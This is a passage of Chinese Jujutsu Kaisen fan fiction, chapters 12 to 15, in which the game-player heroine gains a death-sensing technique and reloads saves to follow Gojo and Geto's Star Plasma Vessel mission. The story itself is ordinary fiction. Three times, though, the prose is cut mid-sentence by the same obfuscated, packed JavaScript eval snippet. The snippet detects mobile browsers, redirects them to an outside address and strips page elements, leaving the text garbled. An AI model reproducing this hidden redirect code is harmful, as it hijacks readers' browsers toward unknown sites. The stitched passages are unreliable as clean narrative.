下课铃声一响,不等五条悟动弹,今野桃就冲了进去。 他还没说要不要吃呢…… 五条悟想。 然而今野桃并没有将蛋糕递给他,而是掏出手机按照名片上的号码拨了过去。 嘟……嘟…… 几声铃响后,对面接通了。 “喂?五条小姐吗?我是今野桃。”她大声说道,在众目睽睽之下,“我听懂了你刚刚说的话,你的意思是让我不要喜欢五条悟,对吧?” 诶?! 拎着书要离开教室的老师都慢下了脚步。 “冒昧问一下你是五条悟什么人啊?总不能因为都姓五条所以就可以管五条悟了吧?你们那个家族不都是姓五条的吗?” 今野桃的嘴像机关枪,哒哒哒地扫射着。 “是是是,悟大人天下第一,悟大人不容亵渎。既然这么珍贵,那你们为什么要让五条悟出门啊?”今野桃理直气壮地说道,“你让他出门不就是让别人来看吗?你管天管地还管别人眼珠子看哪是吧?那我就要看就要看,怎么你要把我眼珠子挖掉吗?” 噗。 有人没忍住笑出了声。 手机对面传来了愤怒的说话声,今野桃弹了弹指甲,掐着嗓子说道:“那你也来追啊,我又没不让你追。追求帅哥是每个人的权利!我看着五条悟的那张脸都能多吃一碗饭,怎么了?不服气?哦对了,高专食堂好像不对外开放。” 夏油杰捂着自己的下半张脸,忍得好辛苦。 今野桃手一伸,把听筒举到了五条悟的面前,开了外放。 “大点声,你的悟大人听不清楚!”她的声音震耳欲聋,“你亲自跟他说呀,让他不要谈恋爱!” 手机对面瞬间安静了。好半天一个声音颤颤巍巍地响起:“悟大人?” 五条悟垂眼,脸上满是不耐。 “不要做多余的事情啊。”虽然没打算恋爱,但五条悟并不喜欢家里对他的私事出手,恋不恋爱、跟谁恋爱,与家族无关。再说了……“有人喜欢我,不是很正常吗?” 外出一趟,他能收一叠电话号码。 “是、是……”嚣张的五条家在五条悟面前变得战战兢兢,“我们不会做多余的事情了。” 挂了电话,今野桃像是打了胜仗的公鸡,得意洋洋。 “五条,你也觉得我的喜欢是玷污了你吗?”她抬了抬下巴问道。 “那倒也不至于……”五条悟不太自在地转了转笔。他说她弱,只是点评她的实力,并非要羞辱她。 “哼,算你识相,请你吃蛋糕!”今野桃得到了满意的回复,将蛋糕放在了他的桌子上,“我看到你(的脸)就开心!想到你(的实力)就有安全感!我就是喜欢你,昨天喜欢,今天喜欢,明天也喜欢!” 说完,她牵着庵歌姬扬长而去。 几秒钟后,老师恍然大悟似的夹着课本跑了。 夏油杰晃悠着来到了五条悟的桌前,拉长了声音说道:“小桃学姐好凶啊……” 五条悟没吭声。 “蛋糕吃吗?不吃给我吃。” 他话音未落,五条悟一把按在了盒子上:“想吃自己买。” 哟哟,还自己买呢,那蛋糕是你买的吗。 夏油杰“噫”了一声,弯腰凑到五条悟的耳,轻声说道: “悟,你脸红了。” 12.第十二章 今野桃合理怀疑,初始属性值除了会影响玩家的起点外,还会影响玩家的成长速度。 这一点在咒力值上展示得格外明显。 通过各种锻炼,她的各项属性都有了显著的提高,其中最开始就高达7点的智力花了两个多月的功夫就升到了10点,另外几项也陆陆续续紧随其后。而最低只有3点的咒力值,直到三年级开学才升到了10点。 当六项属性都到达10点的时候,一个游戏提示跳了出来。 【玩家属性点已上限,即将升级。】 【升级成功。】 【玩家获得技能:告死鸟】 【七天内,当身边有人将会死亡或濒临死亡时,告死鸟会闻到地狱的气息。】 今野桃得到了属于她的术式,但她并不觉得高兴。因为…… 这也太敷衍了吧!一个读档就能解决的事情,非要浪费玩家的技能槽干嘛! 不,等等,说不定这是策划故意的呢! 今野桃陷入沉思。 不氪金的玩家就只配拿这种敷衍的辅助技能,而氪金的大佬就能感受到商城技能的强大。 好算计啊! 今野桃心里嘀咕着,自我安慰道,现在的她应该能算是三级咒术师了吧。拥有了术式后,她才算是真正成为了一名排得上号的咒术师。 这样想,玩家只要愿意肝的话,这游戏也不是不能玩。哪怕初始属性低,花费更多的时间早晚也可以肝到满级。 今野桃快速而粗略地计算了一下,她没有刻意去肝,只是根据游戏给出的任务去推进,速度应该算是中等。 比如高专大概三天左□□发一个任务,每天有两节体能训练课,早上一节下午一节。但如果在完成上一个任务后,玩家主动提出,高专也会派发下一个任务,每天最多一个。体能课也是一样,玩家可以主动要求加练。 就今野桃所知,五条悟和夏油杰都有主动要求加练。 所以,她花费了近一年的时间升级,但如果是肝帝,应该能把时间压缩一半。 这样一想,玩家当真不愧是第四天灾啊! 想要跨越一个阶层对咒术师来说都无比艰难,但对玩家而言,只要花费时间就能变强。 给她几年时间发育,到那时别说五条悟了,两面宿傩都算什么东西!(震声!) 今野桃被自己幻想出来的场景美到了。 因为三级咒术师和四级咒术师的工资不一样,可接任务的等级也不一样,所以实力提高后,今野桃就把自己的咒术告诉了老师,很快她就正式成为了一名三级咒术师。 “小桃以后会更受欢迎吧,出任务的时候往你边上站一站就安心了。”老师开玩笑道。 今野桃不好意思地笑笑:“不过我是辅助,还得指望队友靠谱。” “这也不一定。”老师不赞同地说道,“你的体术练得也不错,咒术师这个职业太过危险,你不能把希望完全寄托在队友身上。” “嗯嗯,我知道了,谢谢老师。”今野桃乖巧地点头。 游戏嘛,有人喜欢玩输出,有人喜欢玩辅助,全看个人爱好罢了。今野桃就比较偏向于辅助,她不爱打打杀杀。更何况这还是全息游戏,打起架来太麻烦了。 老师看出她没把他的话听进去,也没多说,只是暗暗叹了口气。 算了,反正小桃以后顶多做个辅助监督,也不会有太多战斗机会。 他决心在报告里把今野桃的术式说得复杂一些、重要一些,说不定今野桃能被哪个大人物看中,被收入麾下呢。 于是今野桃的报告落在了“他”的手中。 额上带着缝合线的男人笑意盈盈,对下属说道:“这位今野桃同学的术式倒有几分意思。” “大人要招揽她吗?” “不着急。”男人的手指点着桌面,眼眸晦暗,“只盼她不要坏了我的事才好。” 这种术式,对他来说没用,却恶心,一个没注意可能就要破坏他的计划了。 她还和那个六眼神子混在一起,杀起来又费劲。 算了,如今正是关键时刻,先把她扔出去再说吧。 . “小桃——”庵歌姬抱住了今野桃的手臂,恳切地说道,“你这次跟我一起去出任务好不好?” 今野桃风尘仆仆还没来得及回学校就被庵歌姬叫住了,她的脸上难掩疲惫之色,但还是打起精神回道:“什么任务?就我们两个人吗?” “是我的升级任务!”庵歌姬郑重地说道,“我还叫了冥冥前辈。小桃,这次任务我一定要成功!” “你要升一级了?”今野桃没想到新的学期,庵歌姬也要升级了。 她更没想到,这其中还有她的一份原因。 “那当然啊!你都不知道你一年升一级给我们造成了多大的压力!”庵歌姬哀嚎一声,“我真的感觉你距离一级咒术师都不远了!” “哪有那么夸张。”今野桃有点好笑,“行,那我跟你一起去。” “我就知道小桃最好了。”庵歌姬飞快变脸,亲亲热热地给她捏肩膀,“辛苦你了,刚刚结束任务吧?我这次叫了辆房车赶路,你可以在路上休息!” “你可真是下血本了。”今野桃往她身上一靠,“冥冥前辈的价格可不低。” “但是冥冥前辈对一级咒灵非常了解,经验丰富,有她在,一定能事半功倍。”庵歌姬说完,话锋一转,“当然啦,小桃也是必不可少的。因为是升级任务,冥冥前辈不能干预太多,到时候就要麻烦小桃帮我掠阵了。” “没问题。”今野桃一口应下。 何止掠阵,她必须帮好朋友漂漂亮亮地拿下这一场升级任务。 躺在舒服的房车上,辅助监督在开车,冥冥和庵歌姬就坐在床铺的对面。庵歌姬看着今野桃眼下的青黑色,心疼地说道:“小桃刚升三级咒术师,怎么感觉任务这么多。” “其实不多。”今野桃嚼着牛肉干回道,“就是在路上花的时间太长了。” 三天一个任务,其中至少有两天都花在出行上。大概是考虑到她的术式没什么杀伤力,所以高专特意给她安排了探查、搜寻等类型的任务,虽说不必动武,但处理起来也更加复杂。 冥冥和今野桃不太熟悉,但庵歌姬作为润滑剂很好地拉近了大家的距离。扎着银色马尾的一级咒术师撑着下巴,好奇地问道:“小桃的术式能闻到地狱的气息,那是什么气息?” “不知道,我目前还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137593|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没闻过。”今野桃诚实地说道,“哪天我闻过了就告诉你们。” “挺好,至少我们知道了这次任务大家都能平安回来。”冥冥感慨着,含笑的眼睛里带上了几分思索。 “对了,歌姬,我都好几天没回学校了,学校里有发生什么事吗?”今野桃想起什么似的问道。 庵歌姬斜晲她一眼:“你想问的不是这个吧?放心好了,什么事都没有。学校没事,五条也没事。” 今野桃讨好地对她眨了眨眼:“谁让五条不回我消息,我只能问你啦。” 没办法,五条悟现在好感值才刚刚突破30呢。 “这个任务大概要做多久?” “很快的,加上路程,最多三天。” “嗯嗯,那就好。” 在冥冥揶揄的视线中,今野桃飞快地用被子盖住了脑袋,表示自己要休息了。 其实她不是在意五条悟,她在意的是时间。 滚烫的阳光灼烧着大地,如今正是一年中最热的季节。它给人们带来快乐,也带来痛苦。 距离伏黑甚尔的死期还有七天。 不论如何,她要知道伏黑甚尔死亡的来龙去脉。 他杀了谁,又是谁杀了他。 . “……如果两段路当真连接在一起的话,那两个人向着不同的方向快速前进,更容易让咒灵的结构出现破绽!”庵歌姬激动地说道,在经历了长时间的侦察后,她终于发现了这个咒灵的漏洞! 冥冥的脸上挂着笑意,打了个响指道:“一百分。” “警惕破绽出现的那个瞬间。”今野桃意有所指地说道,“或许咒灵会全力一击。” 庵歌姬了然,用力点头。 “我知道了,事不宜迟,那就开始吧!冥冥前辈!” “嗯哼。” 冥冥和庵歌姬背对而立,在庵歌姬的“跑”字脱口时,两人如箭一般朝着走道的两端跑去。原本昏暗的楼道开始扭曲、断裂,耳边隐约传来咒灵的嘶吼。 成功了。 在冥冥的帮助下,庵歌姬艰难地祓除了这个一级咒灵。她欢呼起来,兴奋得手舞足蹈。 “好耶好耶!我要成为一级咒术师了!” 被她的快乐所感染,今野桃也跟着扬起了嘴角。 “行了,该回去了。”她低头,拿出手机,笑容僵住。 今野桃不敢置信地看着手机上的时间,反复看了许多遍,才猛地抬头道:“今天多少号?” “十七号。”冥冥和庵歌姬给出了一样的回答。 今野桃举起手机,屏幕上赫然显示着一个完全不同的答案。 “今天是二十号。” 离开了隔绝信号的“帐”,自动校准时间的手机告诉她们,她们其实在这片空间里待了三天。 “这个咒灵的结界会影响时间。”冥冥按着手机键盘,证实了今野桃的话没错,“虽然少见,但也不是没有。” 今野桃倏然转身:“我要回去!” 现在出发,还赶得上! “哇!大新闻!”庵歌姬看着手机里的群聊,发出了一声惊叹,“大家都在说……五条任务失败了?不可能吧?!” 那可是五条悟啊! 13.第十三章 今野桃匆匆赶回高专的时候,一切都已经尘埃落定。她甚至没有第一时间见到五条悟,他请了假,不知去了什么地方。 今野桃猜测,他如之前那个周目里一样,去给伏黑甚尔“报丧”去了。 伏黑甚尔还有个孩子,也不知道最后会如何安置。 五条悟不在的时候,今野桃想向他的同窗打探消息。但夏油杰拒绝了她的拜访,同样请了假没来上课。他把自己关了起来,谁也不见。 “怎么回事啊,只是任务失败而已,这么备受打击吗……”今野桃最后找到了家入硝子,恭敬地奉上了美酒,希望能得到一些提示。 家入硝子收下礼物,犹豫了一下,还是开口道:“不仅仅是任务失败,我听说……有人死了。” “有人死了?谁?” “五条和夏油的任务是保护一个人,而这个人当着夏油的面被杀了。”家入硝子说得很笼统,“五条和夏油已经尽力了,我看到他们的时候,五条还活着,夏油就剩一口气。敌人很强,比他们两个人都要强。幸好他们那个时候都在高专,我才留住了夏油的命。” 家入硝子坐在椅子上,看着屋内的病床,低声说道:“夏油说,他是因为敌人的怜悯而活下来的。” 今野桃的心猛地颤了颤。 甚尔……他这么厉害吗。 想都不用想,那个敌人必然就是伏黑甚尔了。他当着两个男生的面,将本该保护的人杀掉,以至于给他们造成了巨大的打击。 “虽然有些冷血……但身为咒术师,死亡是常态吧。就算任务成功,有人死去也是难免的事情。”家入硝子的指间夹着一根烟,点燃后升起的烟气让她的面容显得朦胧几分,“五条还好,但夏油好像很难接受。” “因为夏油同学认为自己是强者,理应保护弱者。”今野桃叹气,“真不知道该说他狂妄还是善良。” 保护是一个很沉重的词,它挑战的是人性。 当穷途末路时,要么付出自己的生命来贯彻这个意志,要么放弃最后的底线堕落成另一种模样。 两面宿傩也说过会保护她,最后还是亲手送她去死了。 今野桃烦躁地扯了扯嘴角,勉强露出了一个笑脸。 “你知道五条什么时候回来吗?”她问道。 家入硝子瞥了一眼手机,说道:“他在群里说后天回来。” 顿了顿,她疑惑开口:“你没问他吗?” “……他没回我。”今野桃耸了耸肩膀。 她至少发了十条消息给五条悟,他一条都没回。今野桃怀疑他把她屏蔽了,因为上面显示的都是未读。 已读不回说明在装傻,干脆不读说明人家没那个意思。 家入硝子摸了摸鼻子,试图安慰学姐:“至少你还有五条的好友位,外面想加五条的女孩子可多了,都联系不上他呢。” “哈哈,你说得有道理。”干巴巴的附和让两个女生面面相觑,今野桃摆摆手,“我先走了,等五条回来再说吧。” 五条悟回来后又给了她一个大“惊喜”。 他升级了。 上一次分开的时候,今野桃记得很清楚,他的属性是咒力18、体质19、力量20、魅力20、敏捷20、智力19,如今却变成了咒力26、体质24、力量21、魅力22、敏捷21、智力21。 不是,这才多久啊!这合理吗?! 她实名举报有人开挂!这挂开得比玩家还大啊! “你……”今野桃艰难道,“你又变强了啊,五条。” “这不是理所当然的事情吗。”他看上去还是那样光鲜亮丽,甚至更加精神了,“你也还算努力嘛。” 五条悟不知道玩家的极限,只看到今野桃的实力也上涨了,所以夸了她一句。 今野桃犹豫几秒,开口道:“你能告诉我,你为什么这么快就脱胎换骨了似的吗?” 五条悟露出了一个骄傲又得意的笑:“因为老子学会了反转术式。” “反转术式?但硝子……”不是也会吗? “不一样哦,反转术式和老子本来就有的术式相搭配后,起到的作用远胜于加法。维持‘六眼’和‘无下限’需要源源不断的咒力,对大脑消耗巨大,所以日常时候需要通过甜食来补充糖分。但习得反转术式后,老子就能从一切地方吸取咒力,‘无下限’可以二十四小时开启,再也没有任何死角。” 五条悟并不介意旁人知晓他的术式,“术式公开”也是一种加强自己的方式。而且他自信,别人就算知道了也打不过他。 今野桃听完后一时失语。 原来如此!反转术式相当于无时无刻都在吸收阳光的太阳能充电宝! 以前还可以通过消耗五条悟的咒力来寻找他的弱点,现在他蓝条无限了! 所以伏黑甚尔是死在他的手中吗?除了他,还有谁能杀掉除咒力外综合属性超过二十的伏黑甚尔呢? 答案似乎已经水落石出了。 伏黑甚尔接了个任务要杀人,五条悟和夏油杰则要保护那个人。最后伏黑甚尔完成了任务,但死在了五条悟的手上,而五条悟他们任务失败。 “你是在杀掉伏黑甚尔前学会的反转术式,还是杀掉了他之后学会的呢?”今野桃轻声问道。 五条悟垂眼看她:“你认识那个男人?” “嗯。” 见今野桃面色平静,五条悟以为她与伏黑甚尔关系平平,于是随口回道:“是他要杀掉老子的时候学会的哦。好险,差点就真的被他杀掉了呢。” 这样啊……于生死之间领悟出的反转术式。五条悟算是这个任务里唯一的赢家吗?好像也不对。 今野桃只觉得如鲠在喉。 她选择了读档。 时间跳转到庵歌姬的升级任务之前。此时的她们已经站在了结界门口,正准备进入这个一级咒灵的巢穴。 “好,那我们开始……” “等等。”今野桃叫停了想要往前走的两人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140725|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庵歌姬回头,问道:“怎么了,小桃?” 今野桃露出一抹苦笑:“抱歉,歌姬,我得走了。” 庵歌姬的表情变得严肃,她了解自己的好友,知道她不是不分轻重的人:“发生什么事情了?” “我也不知道。”今野桃的眉眼间笼罩着一层浓郁的忧虑,“但我闻到了一种……像是地狱的气息。” “!!!” 庵歌姬和冥冥对视了一眼。 刚刚在车上冥冥问她,她都说不知道地狱的气息是什么,现在突然又说闻到了,那么显然将要面对死亡的人不是她们两人。 “你能知道是谁吗?” “现在还不能确定,兴许之前以为的‘当身边有人将会死亡或濒临死亡时,告死鸟会闻到地狱的气息’中的‘身边的人’不仅仅是物理距离,还可以指‘关系亲近’。”今野桃深吸了一口气,缓缓吐出,像是以此来平息焦躁不安的心情,“但我亲近的人,屈指可数。” “硝子?!”一个人名从庵歌姬的脑海中蹦了出来。 “不管是谁,我必须回去一趟。”今野桃带着歉意对庵歌姬说道,“歌姬,抱歉……” “没关系,升级任务就算失败了还有下一次。”庵歌姬推着她回车上,“我让辅助监督带你回去,你抓紧时间。” “好。”她勾住庵歌姬的脖子,在她耳边用极细微的声音说道,“歌姬,你要小心这个咒灵,它能控制时间和空间。” 庵歌姬记住了她的提示。 今野桃以最快的速度赶回了高专,恰好碰见了五条悟和夏油杰。他们一人拿着一瓶饮料,在学校的林荫路上打打闹闹。 她看了一眼五条悟的属性。 咒力18、体质19、力量20、魅力20、敏捷20、智力19。 又看了一眼夏油杰的属性。 咒力16、体质20、力量20、魅力20、敏捷20、智力20。 两人几乎没有差别。 “五条!夏油!”她喊道。 两个男生扭头,看见了她。 今野桃的目光在两人之间扫过,最后落在了五条悟的身上。她朝他冲了过来,步子迈得很大。 “哇,不是又要告白吧……”夏油杰忍笑道。 “啧,真是……” 五条悟抱怨的话还没说出口,今野桃已经冲到了他的面前。她没有如两人想的那样停下,而是直直地扑了上来。 “无下限”隔开了两人的距离,五条悟正要后退时,看见了今野桃带着慌乱的脸庞。她的双颊浮现剧烈运动后的潮红,嘴唇却没有一丝血色。 “你……你怎么了?”五条悟迟疑问道。 今野桃没有回答他。 她闻到了,那股浓烈的、混杂着硝烟和铁锈气息的味道,轻易勾动起人类不安的神经。 今野桃攥住五条悟的袖子,深深地吸了一口气。 在五条悟瞬间瞪大的眼睛里,她喃喃道:“原来这就是地狱的气息。” 14.第十四章 听到自己死期是什么感受。 五条悟和夏油杰表示很新奇。 “不是死期不是死期,也有可能是濒死!”今野桃坐在椅子上,捂住脸颊,“而且你们两个人身上都有那种味道!” “喂喂,不要说得好像我们两个不爱干净一样。”五条悟张开手掌,易拉罐在他的掌心里变形扭曲,最后被压缩成了鸡蛋大小。 夏油杰低头,捻着自己的衣领闻了闻:“什么味道啊,我怎么没闻到,我昨天洗的澡诶。” “……这不是洗没洗澡的问题吧!”今野桃严肃开口道,“你们最近一定要小心啊!” 五条悟摸着下巴,若有所思:“要这样说的话,是夜蛾老师刚刚给我们的那个任务吧,杰。” “应该是了。”夏油杰点点头,“毕竟是天元大人指定的任务,果然不简单。” 今野桃抓住关键词,立刻插话道:“你们的这个任务,可以带上我吗?或许随着时间推移,我能更加精准地捕捉到危险来临的时刻。” 两个男生看着她,夏油杰的目光很温柔,他刚想说什么,五条悟开口道:“但是危险来临的那刻,你又能做什么呢?会让我们死亡的危险,你完全扛不住吧。” 他的语气平淡,并无刻意挑衅,却叫今野桃哑口无言。 她的胸口剧烈起伏两下,眼圈有点泛红。 没办法啊,弱小对咒术师来说,就是原罪…… 夏油杰和五条悟都没想过放弃任务,他们面对挑战只会迎难而上。 “做什么?我能做的事情有很多。当危险来临,我会自己跑。”今野桃沉声说道,“如果你死不了,我就回来救你。如果你死了……那我就跟你一起死。” 话音落地,五条悟像是被定身似的,站在原地一动不动。 “没必要到这个程度吧……”他困惑极了,“有点恐怖了。” 夏油杰也少见地有些害怕了:“这个真的是爱吗……不会是什么诅咒吧?” 今野桃颓丧地嘟囔:“不是你说的吗,连你都打不过的敌人……我这样的人就算再多也只是炮灰吧。与其到最后痛苦的死去,还不如跟你一起,至少黄泉路上不会孤独。” 五条悟头一回地觉得,高专应该增加一个岗位——心理咨询师。 多关注一下未成年人的心里问题啊! 安静了很久,五条悟作出了决定。 “既然你这么害怕,那你就听老子安排。我们这次的任务是保护‘星浆体’。”五条悟拍了拍夏油杰的肩膀,“‘星浆体’是什么不重要,老子和杰会把祂带到高专,高专设有结界,进了高专差不多就结束了。你在高专门口等我们。” 今野桃本想跟着他们,但显然两个男生并不愿意带上辅助。回忆起硝子的话,她妥协了。 “好,那我在高专等你们回来。什么时候回来记得给我发消息。”说到这个,今野桃眯起了眼睛,“五条,你不会把我屏蔽了吧?” “诶?”五条悟掏出手机,恍然大悟似的说道,“好像是的。老子又不需要闹钟,你天天这样发消息挺烦的。” 夏油杰用肘关节捅了一下他,没来得及开启“无下限”的五条悟赶紧往旁边躲了躲,大大咧咧地问道:“你干嘛啊,杰。” 夏油杰绝望闭眼。 “不过老子没把你拉黑啦。”五条悟对今野桃说道,“你有什么重要的事情打电话就行了。” 他刻意强调了“重要的事情”,如果随意打给他,恐怕最后就会被拉黑了吧。 “好吧。”今野桃不满地嘀咕,“我也不会随便发消息给你了,你不许屏蔽我。” 五条悟当着她的面取消了屏蔽:“满意了吧?不要再把老子当备忘录咯。” 今野桃只是看了一眼他操作手机,无意间就扫到了他和夏油杰的聊天记录。好家伙,一整块屏幕里都是通话记录,一天至少五六个电话。 所以……五条悟不是冷酷无情,只是不爱搭理没放在心里的人。 今野桃与他,连朋友都算不上吧。或许,就是个追求者罢了。 五条悟最不缺的就是追求者。 今野桃坐在长椅上,手边是一瓶开罐了的可乐。她等待着,或许在气体彻底消失、可乐变成一罐糖水前,他们能回来。 太阳渐渐西斜,月亮悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148745|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄爬上了天空。 叮—— 手机铃声响起,今野桃赶紧接通。 “五条,你们回来了吗?我去接你……” “我们今天不回去。”五条悟打断了她的话,“我们要去冲绳一趟。” “冲绳?去那里做什么?” “去游泳玩水啦,冲绳的沙滩很有名诶,你没去过吗?” 玩水?!这个时候玩水?! “五条悟!”今野桃着急了,“你知不知道现在是什么时候,敌人很可能就在暗处窥视,不小心就会要了你的命!” “与其坐以待毙,不如引蛇出洞。”五条悟略显冷淡的声音从听筒对面传来,“刺杀对老子来说,不过是家常便饭罢了,没什么好怕的。” “但是……” “好了,悟,我来说吧。” 一阵窸窸窣窣的声音响起,夏油杰温和地说道:“小桃学姐,别担心,我和悟有分寸的。” “我知道你和五条都很可靠,但我怎么敢拿你们的性命去赌。”今野桃无力地开口道。 “悟的‘无下限’一直开着,我会同他轮换保护‘星浆体’。小桃学姐想来冲绳玩吗?悟可以包飞机票哦。”五条悟咋咋呼呼地喊着“让她坐经济舱!”,还有女声在说“你好小气”之类的话,足以听出他们有多开心。 被这些画外音掩盖住,夏油杰的声音忽然变得几不可闻:“小桃学姐,这也是‘星浆体’最后的愿望了。” 今野桃愕然失声。 几个漫长的呼吸后,她回道:“我就不去了,我不爱游泳玩水。你和五条……注意安全,早点回来。” “嗯,我们会注意的,小桃学姐也早点休息吧,你今天匆忙赶回高专来特意提醒我们,谢谢小桃学姐,辛苦了。” 挂了电话,今野桃撑着膝盖,把脸埋在了掌心。 原来……是这样啊。那个时候,为她带来甚尔死讯的五条悟,原来是在同情她。 如今,面对死期将至的“星浆体”,他也不忍苛责。 冷漠的五条悟,温柔的五条悟…… 可恶,这不更得把玩家钓成翘嘴了! 15.第十五章 原本定好第二天回来的五条悟又放鸽子了。这一回被他放鸽子的不止今野桃,还有今年刚刚入学的两个新生。 挂断通话,今野桃的目光有些漂移,支支吾吾地吐出了几个字:“通知……他们要多留一天。” 留着三七分金发的七海建人额头上蹦出了一个十字,一脸乖巧的灰原雄举手提问:“多留一天是什么意思啊?学长们遇到了什么危险吗?” 今野桃沉默两秒,还是放弃给两人掩护:“虽然很想说或许是遇到了危险,但事实上……他们想再多玩一天。” “……”七海建人揉了揉额角,“我知道了。那我们要在机场旁边开两个房间吗?从高专来这里路程有些远。” “你和灰原留在这里,我回高专接应。到时候费用都找五条报销。” “好嘞。”灰原雄爽快应道。 今野桃上前一步,拉近了三人距离。她的目光扫过不明所以的两人,十几秒后退开。 “那我先走了。”她笑着颔首。 目送她离去,灰原雄忽然开口道:“我知道学姐刚刚在做什么了!” 七海建人漠然喝了一口饮料:“做什么?” “学姐刚刚是在闻我们身上的味道!” “噗——!咳咳咳!”七海建人被可乐呛到了,“咳咳咳!你在说什么啊!!咳咳咳咳咳!” “咦,七海不知道吗?学姐的术式叫‘告死鸟’,据说能闻到将死者身上来自地狱的气息!”灰原雄一拍手,感动地说道,“学姐刚刚一定是在闻我们身上有没有地狱的气息!” “咳咳咳……”总算是顺了气,七海建人的额头挂着黑线,“那你不要把学姐说得好像是变态一样好吗!” 灰原雄不好意思地挠了挠头。 “听说学姐就是闻到了五条学长身上有地狱的气息,所以才一路跟进这个原本与她无关的任务。”灰原雄一脸思索道,“也不知道地狱的气息是什么气息……” “不,我不想知道。”七海建人拒绝道,他更关心另一件事,“学姐没说什么,意味着我们这次任务是没有危险的吧。” “嘿嘿,五条学长和夏油学长都在呢,怎么可能会出事。”灰原雄的脸上闪过崇拜之色。 七海建人没有说话。 是啊,才入学的他们都知道,五条学长和夏油学长有多厉害,他们处理了几乎全部危险的任务。所以,只要有他们在,一定不会有事的。 . 今野桃在高专的山下接到了五条悟、夏油杰和作为“星浆体”的天内理子以及天内理子的女仆黑井美里。 “我和灰原在这里阻拦追兵,学长和学姐先走吧。”七海建人和灰原雄在路口站定。 “不用这么紧张。”夏油杰宽慰道,“理子的悬赏已经被撤销了,不会再有诅咒师来追杀我们。” “嗯。”七海建人并没有因为学长的话而放松,他看起来就是个不苟言笑的古板少年。 “走吧,高专有结界,外人进不了的。”五条悟推了推眼镜,“再不走,小桃学姐要把我们都扛走了。” 今野桃鼓起了脸颊。 她原本就长得偏可爱型,两颊还有些许婴儿肥。这个表情一做,让她更没有身为学姐的威严了。 “不要欺负学姐啊,悟。”夏油杰笑眯眯地说道。 今野桃确实已经把心提到嗓子眼了。高专有结界,敌人无法进入,那最好的偷袭地点就是这条通往高专的行道。为了避免在车上被袭击后施展不开,几人都是徒步前行。 一路上没人说话,五条悟虽然总是一副“老子很牛逼”,但他并不是个蠢货,也不会拿这么多人的生命开玩笑。 直到终于跨进了高专,明显感觉到穿过了一层透明的结界后,有人松了一口气。 “辛苦你了,悟。”夏油杰对五条悟点点头。 五条悟闭了闭眼睛,连续开启超过四十八小时的“无下限”终于关闭,脑浆都快沸腾的感觉逐渐平息。 “这里就是高专吗?算是安全了吧。”天内理子撑着膝盖,紧绷的神经略微松开,“接下来只要去往天元大人……” “不,不要停下。”今野桃骤然抬头,“快走!敌人来了!” “别紧张过头了啊,这里可是……” 噗。 利器穿过身体的声音在耳边响起,剧烈的疼痛满了半拍紧随其后。五条悟低头,看见一截带血的刀刃。 “悟!” 男人弓着腰,如幽灵般出现在了五条悟的身后。今野桃的手颤抖起来,瞳孔紧缩。 是他。 大颗大颗冷汗从五条悟的额头上滚落,他却不能表现出半分虚弱,仍强撑着回头,竭力营造出一种平静的语气:“我们……是不是在哪里见过。” “无所谓。”男人勾了勾唇,“反正我也是一样,记不住男人的名字。” 长刀抽出,带出一串血花。 下一秒,夏油杰召唤出了一只巨大的咒灵狠狠撞在男人身上,将他击飞出去后一口吞下。 “没关系的,老子没事!”五条悟扬起自己平日里一贯的嬉笑,抬手止住了夏油杰的动作,“你们先去天元大人那里!” 夏油杰下意识地看向天内理子,她们的脸上是掩不住的恐惧。 “还有你。”五条悟看向今野桃,“你跟杰一起去。” “我不去。”今野桃冷静开口,“我去叫人,你坚持住。” 说完,她调头跑了。 夏油杰咬牙,带着天内理子和黑井美里冲向了薨星宫的方向。 破开咒灵,浑身沾染着污秽的男人咧开一个戏谑的笑:“哦呀,女朋友吗?去叫人的话,那我要速战速决了。放心,我会把你的尸体留给她。” “你可真敢说啊。”汗珠从下颌低落,五条悟感觉到自己每根神经都在战栗,警示他眼前这个男人的强大。 这或许是他迄今为止,见过最强的敌人。 他没有把握能击败对方。 “悬赏已经撤销了,你这个蠢货!” “是我撤销的,只会逞强的小鬼。”男人缓缓从肩膀上的咒灵口中取出一把样式古怪的刀,“就算没有悬赏,我今天也必杀你。” . 今野桃没有去摇人,她给家入硝子打了个电话,在高专绕了个圈,等到战斗的动静消失了才匆忙跑回来。 战斗结束的时间比她预料的要快很多,她原本以为五条悟能和伏黑甚尔过几招,但事实上伏黑甚尔准备得太充分了,五条悟完全招架不住。 伏黑甚尔已经离开,五条悟躺在祭坛似的圆形台子上,黑压压一片的低级咒灵蝇头围绕着他,觊觎着他的血肉。 他不该是这样的,就像天上的太阳竟然坠落了。 